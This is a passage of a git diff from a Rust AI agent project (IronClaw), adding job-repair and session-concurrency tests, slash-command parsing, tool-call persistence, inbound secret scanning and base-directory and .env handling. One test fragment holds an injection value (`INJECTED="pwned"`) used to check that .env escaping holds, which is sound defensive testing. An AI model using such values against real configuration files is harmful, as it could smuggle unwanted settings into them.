let response = OutgoingResponse {
content: message,
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "routine",
"routine_name": routine_name,
"status": status.to_string(),
"notify_user": notify.user,
"notify_channel": notify.channel,
}),
};
+130
View File
@@ -387,4 +387,134 @@ mod tests {
};
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
}
// === QA Plan - Self-repair stuck job tests ===
#[tokio::test]
async fn detect_no_stuck_jobs_when_all_healthy() {
let cm = Arc::new(ContextManager::new(10));
// Create a job and leave it Pending (not stuck).
cm.create_job("Job 1", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert!(stuck.is_empty());
}
#[tokio::test]
async fn detect_stuck_job_finds_stuck_state() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
// Transition to InProgress, then to Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| {
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
})
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert_eq!(stuck.len(), 1);
assert_eq!(stuck[0].job_id, job_id);
}
#[tokio::test]
async fn repair_stuck_job_succeeds_within_limit() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
// Move to InProgress -> Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(120),
last_error: None,
repair_attempts: 0,
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::Success { .. }),
"Expected Success, got: {:?}",
result
);
// Job should be back to InProgress after recovery.
let ctx = cm.get_context(job_id).await.unwrap();
assert_eq!(ctx.state, JobState::InProgress);
}
#[tokio::test]
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(300),
last_error: Some("persistent failure".to_string()),
repair_attempts: 2, // == max
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired, got: {:?}",
result
);
}
#[tokio::test]
async fn detect_broken_tools_returns_empty_without_store() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
// No store configured, should return empty.
let broken = repair.detect_broken_tools().await;
assert!(broken.is_empty());
}
#[tokio::test]
async fn repair_broken_tool_returns_manual_without_builder() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let broken = BrokenTool {
name: "test-tool".to_string(),
failure_count: 10,
last_error: Some("crash".to_string()),
first_failure: Utc::now(),
last_failure: Utc::now(),
last_build_result: None,
repair_attempts: 0,
};
let result = repair.repair_broken_tool(&broken).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired without builder, got: {:?}",
result
);
}
}
+185
View File
@@ -128,6 +128,42 @@ impl SessionManager {
}
}
// Check if external_thread_id is itself a known thread UUID that
// exists in the session but was never registered in the thread_map
// (e.g. created by chat_new_thread_handler or hydrated from DB).
// We only adopt it if no thread_map entry maps to this UUID —
// otherwise it belongs to a different channel scope.
if let Some(ext_tid) = external_thread_id
&& let Ok(ext_uuid) = Uuid::parse_str(ext_tid)
{
let thread_map = self.thread_map.read().await;
let mapped_elsewhere = thread_map.values().any(|&v| v == ext_uuid);
drop(thread_map);
if !mapped_elsewhere {
let sess = session.lock().await;
if sess.threads.contains_key(&ext_uuid) {
drop(sess);
let mut thread_map = self.thread_map.write().await;
// Re-check after acquiring write lock to prevent race condition
// where another task mapped this UUID between our read and write.
if !thread_map.values().any(|&v| v == ext_uuid) {
thread_map.insert(key, ext_uuid);
drop(thread_map);
// Ensure undo manager exists
let mut undo_managers = self.undo_managers.write().await;
undo_managers
.entry(ext_uuid)
.or_insert_with(|| Arc::new(Mutex::new(UndoManager::new())));
return (session, ext_uuid);
}
// If it was mapped elsewhere while we were unlocked, fall through
// to create a new thread, preserving channel isolation.
}
}
}
// Create new thread (always create a new one for a new key)
let thread_id = {
let mut sess = session.lock().await;
@@ -735,4 +771,153 @@ mod tests {
.await;
assert_ne!(resolved, tid);
}
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
#[tokio::test]
async fn concurrent_get_or_create_same_user_returns_same_session() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..30)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
})
.collect();
let mut sessions = Vec::new();
for handle in handles {
sessions.push(handle.await.expect("task should not panic"));
}
// All 30 must return the *same* Arc (double-checked locking guarantee).
for s in &sessions {
assert!(Arc::ptr_eq(&sessions[0], s));
}
}
#[tokio::test]
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..20)
.map(|i| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move {
let user = format!("user-{i}");
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
(user, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All thread IDs must be unique.
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 20);
// Each session should contain exactly 1 thread (its own).
for (_, session, tid) in &results {
let sess = session.lock().await;
assert!(sess.threads.contains_key(tid));
assert_eq!(sess.threads.len(), 1);
}
}
#[tokio::test]
async fn concurrent_resolve_thread_same_user_different_channels() {
let manager = Arc::new(SessionManager::new());
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
let handles: Vec<_> = channels
.iter()
.map(|ch| {
let mgr = Arc::clone(&manager);
let channel = ch.to_string();
tokio::spawn(async move {
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
(channel, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All 5 threads must be unique (different channels = different keys).
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 5);
// All threads should live in the same session.
let sess = results[0].1.lock().await;
assert_eq!(sess.threads.len(), 5);
}
#[tokio::test]
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
let manager = Arc::new(SessionManager::new());
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
let handles: Vec<_> = (0..20)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
})
.collect();
let mut managers = Vec::new();
for handle in handles {
managers.push(handle.await.expect("task should not panic"));
}
// All 20 must point to the same UndoManager.
for m in &managers {
assert!(Arc::ptr_eq(&managers[0], m));
}
}
#[tokio::test]
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
use crate::agent::session::{Session, Thread};
let manager = SessionManager::new();
let tid = Uuid::new_v4();
// Simulate chat_new_thread_handler: create thread directly in session
// without registering it in thread_map
let session = Arc::new(Mutex::new(Session::new("user-direct")));
{
let mut sess = session.lock().await;
let thread = Thread::with_id(tid, sess.id);
sess.threads.insert(tid, thread);
}
{
let mut sessions = manager.sessions.write().await;
sessions.insert("user-direct".to_string(), Arc::clone(&session));
}
// resolve_thread should find the existing thread by UUID
// instead of creating a duplicate
let (_, resolved) = manager
.resolve_thread("user-direct", "gateway", Some(&tid.to_string()))
.await;
assert_eq!(
resolved, tid,
"should reuse existing thread, not create a new one"
);
// Verify no duplicate threads were created
let sess = session.lock().await;
assert_eq!(
sess.threads.len(),
1,
"should have exactly 1 thread, not a duplicate"
);
}
}
+134
View File
@@ -62,6 +62,23 @@ impl SubmissionParser {
args: vec![],
};
}
if lower == "/skills" {
return Submission::SystemCommand {
command: "skills".to_string(),
args: vec![],
};
}
if lower.starts_with("/skills ") {
let args: Vec<String> = trimmed
.split_whitespace()
.skip(1)
.map(|s| s.to_string())
.collect();
return Submission::SystemCommand {
command: "skills".to_string(),
args,
};
}
if lower == "/ping" {
return Submission::SystemCommand {
command: "ping".to_string(),
@@ -90,6 +107,29 @@ impl SubmissionParser {
return Submission::Quit;
}
// Job commands
if lower == "/status" || lower == "/progress" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower
.strip_prefix("/status ")
.or_else(|| lower.strip_prefix("/progress "))
{
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobStatus { job_id: Some(id) };
}
}
if lower == "/list" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower.strip_prefix("/cancel ") {
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobCancel { job_id: id };
}
}
// /thread <uuid> - switch thread
if let Some(rest) = lower.strip_prefix("/thread ") {
let rest = rest.trim();
@@ -212,6 +252,18 @@ pub enum Submission {
/// Suggest next steps based on the current thread.
Suggest,
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
JobStatus {
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
job_id: Option<String>,
},
/// Cancel a running job.
JobCancel {
/// Job ID (UUID or short prefix).
job_id: String,
},
/// Quit the agent. Bypasses thread-state checks.
Quit,
@@ -296,6 +348,8 @@ impl Submission {
| Self::Heartbeat
| Self::Summarize
| Self::Suggest
| Self::JobStatus { .. }
| Self::JobCancel { .. }
| Self::SystemCommand { .. }
)
}
@@ -693,6 +747,86 @@ mod tests {
assert!(!submission.starts_turn());
}
#[test]
fn test_parser_system_command_skills() {
let submission = SubmissionParser::parse("/skills");
assert!(
matches!(submission, Submission::SystemCommand { command, args } if command == "skills" && args.is_empty())
);
// Case insensitive
let submission = SubmissionParser::parse("/SKILLS");
assert!(
matches!(submission, Submission::SystemCommand { command, .. } if command == "skills")
);
}
#[test]
fn test_parser_system_command_skills_search() {
let submission = SubmissionParser::parse("/skills search markdown");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "markdown"])
);
// Multiple words in query
let submission = SubmissionParser::parse("/skills search code review tools");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "code", "review", "tools"])
);
}
#[test]
fn test_parser_job_status() {
// /status with no id → all jobs
let s = SubmissionParser::parse("/status");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /progress alias
let s = SubmissionParser::parse("/progress");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /status with id
let s = SubmissionParser::parse("/status abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// /progress with id
let s = SubmissionParser::parse("/progress abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// case insensitive
let s = SubmissionParser::parse("/STATUS");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_list() {
// /list is an alias for /status with no job_id
let s = SubmissionParser::parse("/list");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
let s = SubmissionParser::parse("/LIST");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_cancel() {
let s = SubmissionParser::parse("/cancel abc123");
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
// /cancel with no id → falls through to UserInput
let s = SubmissionParser::parse("/cancel");
assert!(matches!(s, Submission::UserInput { .. }));
}
#[test]
fn test_job_commands_are_control() {
assert!(SubmissionParser::parse("/status").is_control());
assert!(SubmissionParser::parse("/list").is_control());
assert!(SubmissionParser::parse("/cancel abc").is_control());
}
#[test]
fn test_parser_quit() {
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
+107 -4
View File
@@ -16,6 +16,7 @@ use crate::agent::dispatcher::{
};
use crate::agent::session::{PendingApproval, Session, ThreadState};
use crate::agent::submission::SubmissionResult;
use crate::channels::web::util::truncate_preview;
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext;
use crate::error::Error;
@@ -69,6 +70,8 @@ impl Agent {
.filter_map(|m| match m.role.as_str() {
"user" => Some(ChatMessage::user(&m.content)),
"assistant" => Some(ChatMessage::assistant(&m.content)),
// tool_calls rows are UI metadata (tool name + preview),
// not part of the LLM conversation context.
_ => None,
})
.collect();
@@ -173,6 +176,18 @@ impl Agent {
return Ok(SubmissionResult::error("Input rejected by safety policy."));
}
// Scan inbound messages for secrets (API keys, tokens).
// Catching them here prevents the LLM from echoing them back, which
// would trigger the outbound leak detector and create error loops.
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
tracing::warn!(
user = %message.user_id,
channel = %message.channel,
"Inbound message blocked: contains leaked secret"
);
return Ok(SubmissionResult::error(warning));
}
// Handle explicit commands (starting with /) directly
// Everything else goes through the normal agentic loop with tools
let temp_message = IncomingMessage {
@@ -315,6 +330,11 @@ impl Agent {
};
thread.complete_turn(&response);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
let _ = self
.channels
.send_status(
@@ -324,7 +344,9 @@ impl Agent {
)
.await;
// Persist assistant response (user message already persisted at turn start)
// Persist tool calls then assistant response (user message already persisted at turn start)
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
@@ -423,6 +445,68 @@ impl Agent {
}
}
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
///
/// Stored between the user and assistant messages so that
/// `build_turns_from_db_messages` can reconstruct the tool call history.
/// Content is a JSON array of tool call summaries.
pub(super) async fn persist_tool_calls(
&self,
thread_id: Uuid,
user_id: &str,
tool_calls: &[crate::agent::session::TurnToolCall],
) {
if tool_calls.is_empty() {
return;
}
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let summaries: Vec<serde_json::Value> = tool_calls
.iter()
.map(|tc| {
let mut obj = serde_json::json!({ "name": tc.name });
if let Some(ref result) = tc.result {
let preview = match result {
serde_json::Value::String(s) => truncate_preview(s, 500),
other => truncate_preview(&other.to_string(), 500),
};
obj["result_preview"] = serde_json::Value::String(preview);
}
if let Some(ref error) = tc.error {
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
}
obj
})
.collect();
let content = match serde_json::to_string(&summaries) {
Ok(c) => c,
Err(e) => {
tracing::warn!("Failed to serialize tool calls: {}", e);
return;
}
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "tool_calls", &content)
.await
{
tracing::warn!("Failed to persist tool calls: {}", e);
}
}
pub(super) async fn process_undo(
&self,
session: Arc<Mutex<Session>>,
@@ -591,7 +675,13 @@ impl Agent {
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
if thread.state != ThreadState::AwaitingApproval {
return Ok(SubmissionResult::error("No pending approval request."));
// Stale or duplicate approval (tool already executed) — silently ignore.
tracing::debug!(
%thread_id,
state = ?thread.state,
"Ignoring stale approval: thread not in AwaitingApproval state"
);
return Ok(SubmissionResult::ok_with_message(""));
}
thread.take_pending_approval()
@@ -599,7 +689,13 @@ impl Agent {
let pending = match pending {
Some(p) => p,
None => return Ok(SubmissionResult::error("No pending approval request.")),
None => {
tracing::debug!(
%thread_id,
"Ignoring stale approval: no pending approval found"
);
return Ok(SubmissionResult::ok_with_message(""));
}
};
// Verify request ID if provided
@@ -1040,7 +1136,14 @@ impl Agent {
match result {
Ok(AgenticLoopResult::Response(response)) => {
thread.complete_turn(&response);
// User message already persisted at turn start; save assistant response
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
// User message already persisted at turn start; save tool calls then assistant response
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
let _ = self
+31
View File
@@ -158,6 +158,37 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
match result {
Ok(Ok(())) => {
tracing::info!("Worker for job {} completed successfully", self.job_id);
// Only mark completed if still in an active, non-stuck state.
// The execution_loop may have already called mark_completed or
// mark_stuck (e.g. "plan completed but work remains").
let current_state = self
.context_manager()
.get_context(self.job_id)
.await
.map(|ctx| ctx.state);
match current_state {
Ok(state) if state.is_terminal() => {
// Already in a terminal state (e.g. execution_loop
// called mark_completed itself).
}
Ok(JobState::Stuck) => {
// execution_loop marked this as stuck (e.g. "plan
// completed but work remains"); leave for self-repair.
tracing::info!(
"Job {} returned Ok but is Stuck — leaving for self-repair",
self.job_id
);
}
Ok(_) => {
self.mark_completed().await?;
}
Err(e) => {
tracing::warn!(
job_id = %self.job_id,
"Failed to get job context, cannot mark as completed: {}", e
);
}
}
}
Ok(Err(e)) => {
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
+13 -14
View File
@@ -402,19 +402,17 @@ impl AppBuilder {
let mcp_session_manager = Arc::new(McpSessionManager::new());
// Create WASM tool runtime
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> =
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() {
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) {
Ok(runtime) => Some(Arc::new(runtime)),
Err(e) => {
tracing::warn!("Failed to initialize WASM runtime: {}", e);
None
}
}
} else {
None
};
// Create WASM tool runtime eagerly so extensions installed after startup
// (e.g. via the web UI) can still be activated. The tools directory is only
// needed when loading modules, not for engine initialisation.
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
WasmToolRuntime::new(self.config.wasm.to_runtime_config())
.map(Arc::new)
.map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
.ok()
} else {
None
};
// Load WASM tools and MCP servers concurrently
let wasm_tools_future = {
@@ -692,7 +690,8 @@ impl AppBuilder {
// Skills system
let (skill_registry, skill_catalog) = if self.config.skills.enabled {
let mut registry = SkillRegistry::new(self.config.skills.local_dir.clone());
let mut registry = SkillRegistry::new(self.config.skills.local_dir.clone())
.with_installed_dir(self.config.skills.installed_dir.clone());
let loaded = registry.discover_all().await;
if !loaded.is_empty() {
tracing::info!("Loaded {} skill(s): {}", loaded.len(), loaded.join(", "));
+26 -2
View File
@@ -20,8 +20,10 @@ pub struct BootInfo {
pub heartbeat_enabled: bool,
pub heartbeat_interval_secs: u64,
pub sandbox_enabled: bool,
pub docker_status: crate::sandbox::detect::DockerStatus,
pub claude_code_enabled: bool,
pub routines_enabled: bool,
pub skills_enabled: bool,
pub channels: Vec<String>,
/// Public URL from a managed tunnel (e.g., "https://abc.ngrok.io").
pub tunnel_url: Option<String>,
@@ -35,6 +37,7 @@ pub fn print_boot_screen(info: &BootInfo) {
let bold = "\x1b[1m";
let cyan = "\x1b[36m";
let dim = "\x1b[90m";
let yellow = "\x1b[33m";
let yellow_underline = "\x1b[33;4m";
let reset = "\x1b[0m";
@@ -90,8 +93,19 @@ pub fn print_boot_screen(info: &BootInfo) {
let mins = info.heartbeat_interval_secs / 60;
features.push(format!("heartbeat ({mins}m)"));
}
if info.sandbox_enabled {
features.push("sandbox".to_string());
match info.docker_status {
crate::sandbox::detect::DockerStatus::Available => {
features.push("sandbox".to_string());
}
crate::sandbox::detect::DockerStatus::NotInstalled => {
features.push(format!("{yellow}sandbox (docker not installed){reset}"));
}
crate::sandbox::detect::DockerStatus::NotRunning => {
features.push(format!("{yellow}sandbox (docker not running){reset}"));
}
crate::sandbox::detect::DockerStatus::Disabled => {
// Don't show sandbox when disabled
}
}
if info.claude_code_enabled {
features.push("claude-code".to_string());
@@ -99,6 +113,9 @@ pub fn print_boot_screen(info: &BootInfo) {
if info.routines_enabled {
features.push("routines".to_string());
}
if info.skills_enabled {
features.push("skills".to_string());
}
if !features.is_empty() {
println!(
" {dim}features{reset} {cyan}{}{reset}",
@@ -140,6 +157,7 @@ pub fn print_boot_screen(info: &BootInfo) {
#[cfg(test)]
mod tests {
use super::*;
use crate::sandbox::detect::DockerStatus;
#[test]
fn test_print_boot_screen_full() {
@@ -158,8 +176,10 @@ mod tests {
heartbeat_enabled: true,
heartbeat_interval_secs: 1800,
sandbox_enabled: true,
docker_status: DockerStatus::Available,
claude_code_enabled: false,
routines_enabled: true,
skills_enabled: true,
channels: vec![
"repl".to_string(),
"gateway".to_string(),
@@ -189,8 +209,10 @@ mod tests {
heartbeat_enabled: false,
heartbeat_interval_secs: 0,
sandbox_enabled: false,
docker_status: DockerStatus::Disabled,
claude_code_enabled: false,
routines_enabled: false,
skills_enabled: false,
channels: vec![],
tunnel_url: None,
tunnel_provider: None,
@@ -216,8 +238,10 @@ mod tests {
heartbeat_enabled: false,
heartbeat_interval_secs: 0,
sandbox_enabled: false,
docker_status: DockerStatus::Disabled,
claude_code_enabled: false,
routines_enabled: false,
skills_enabled: false,
channels: vec!["repl".to_string()],
tunnel_url: None,
tunnel_provider: None,
+421 -15
View File
@@ -7,13 +7,75 @@
//! File: `~/.ironclaw/.env` (standard dotenvy format)
use std::path::PathBuf;
use std::sync::LazyLock;
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
/// Compute the IronClaw base directory from environment.
///
/// This is the underlying implementation used by both the public
/// `ironclaw_base_dir()` function (which caches the result) and tests
/// (which need to verify different configurations).
pub fn compute_ironclaw_base_dir() -> PathBuf {
std::env::var(IRONCLAW_BASE_DIR_ENV)
.map(PathBuf::from)
.map(|path| {
if path.as_os_str().is_empty() {
default_base_dir()
} else if !path.is_absolute() {
eprintln!(
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
path.display()
);
path
} else {
path
}
})
.unwrap_or_else(|_| default_base_dir())
}
/// Get the default IronClaw base directory (~/.ironclaw).
///
/// Logs a warning if the home directory cannot be determined and falls back to
/// the current directory.
fn default_base_dir() -> PathBuf {
if let Some(home) = dirs::home_dir() {
home.join(".ironclaw")
} else {
eprintln!("Warning: Could not determine home directory, using current directory");
std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("/tmp"))
.join(".ironclaw")
}
}
/// Get the IronClaw base directory.
///
/// Override with `IRONCLAW_BASE_DIR` environment variable.
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
///
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
///
/// # Environment Variable Behavior
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
///
/// # Returns
/// A `PathBuf` pointing to the base directory. The path is not validated
/// for existence.
pub fn ironclaw_base_dir() -> PathBuf {
IRONCLAW_BASE_DIR.clone()
}
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
pub fn ironclaw_env_path() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join(".env")
ironclaw_base_dir().join(".env")
}
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
@@ -22,11 +84,16 @@ pub fn ironclaw_env_path() -> PathBuf {
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
/// existing env vars, so the effective priority is:
///
/// explicit env vars > `./.env` > `~/.ironclaw/.env`
/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
///
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
/// upgrade from the old config format).
///
/// After loading the `.env` file, auto-detects the libsql backend: if
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
/// defaults to `libsql` so cloud instances work out of the box without any
/// manual configuration.
pub fn load_ironclaw_env() {
let path = ironclaw_env_path();
@@ -38,6 +105,22 @@ pub fn load_ironclaw_env() {
if path.exists() {
let _ = dotenvy::from_path(&path);
}
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
// all env files, and the local SQLite DB exists, default to libsql.
// This avoids the chicken-and-egg problem on cloud instances where no
// DATABASE_URL is configured but ironclaw.db is already present.
if std::env::var("DATABASE_BACKEND").is_err() {
let default_db = dirs::home_dir()
.unwrap_or_default()
.join(".ironclaw")
.join("ironclaw.db");
if default_db.exists() {
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
// before the Tokio runtime is started, so no other threads exist yet.
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
}
}
}
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
@@ -92,7 +175,14 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
/// and other shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let path = ironclaw_env_path();
save_bootstrap_env_to(&ironclaw_env_path(), vars)
}
/// Write bootstrap vars to an arbitrary path (testable variant).
///
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
/// shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -103,8 +193,8 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&path, &content)?;
restrict_file_permissions(&path)?;
std::fs::write(path, &content)?;
restrict_file_permissions(path)?;
Ok(())
}
@@ -115,7 +205,15 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
/// or appends it otherwise. Use this when writing a single bootstrap var
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let path = ironclaw_env_path();
upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
}
/// Update or add a single variable at an arbitrary path (testable variant).
pub fn upsert_bootstrap_var_to(
path: &std::path::Path,
key: &str,
value: &str,
) -> std::io::Result<()> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -124,7 +222,7 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let new_line = format!("{}=\"{}\"", key, escaped);
let prefix = format!("{}=", key);
let existing = std::fs::read_to_string(&path).unwrap_or_default();
let existing = std::fs::read_to_string(path).unwrap_or_default();
let mut found = false;
let mut result = String::new();
@@ -147,8 +245,8 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
result.push('\n');
}
std::fs::write(&path, result)?;
restrict_file_permissions(&path)?;
std::fs::write(path, result)?;
restrict_file_permissions(path)?;
Ok(())
}
@@ -185,9 +283,7 @@ pub async fn migrate_disk_to_db(
store: &dyn crate::db::Database,
user_id: &str,
) -> Result<(), MigrationError> {
let ironclaw_dir = dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let ironclaw_dir = ironclaw_base_dir();
let legacy_settings_path = ironclaw_dir.join("settings.json");
if !legacy_settings_path.exists() {
@@ -321,8 +417,11 @@ pub enum MigrationError {
#[cfg(test)]
mod tests {
use super::*;
use std::sync::Mutex;
use tempfile::tempdir;
static ENV_MUTEX: Mutex<()> = Mutex::new(());
#[test]
fn test_save_and_load_database_url() {
let dir = tempdir().unwrap();
@@ -580,4 +679,311 @@ INJECTED="pwned"#;
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
assert_eq!(onboard.unwrap().1, "true");
}
#[test]
fn test_libsql_autodetect_sets_backend_when_db_exists() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
// No DB file — auto-detect guard should not trigger.
assert!(!db_path.exists());
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_trigger,
"should not auto-detect when db file is absent"
);
// Create the DB file — guard should now trigger.
std::fs::write(&db_path, "").unwrap();
assert!(db_path.exists());
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
detected,
"should detect libsql when db file is present and backend unset"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
}
}
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
#[test]
fn bootstrap_env_round_trips_llm_backend() {
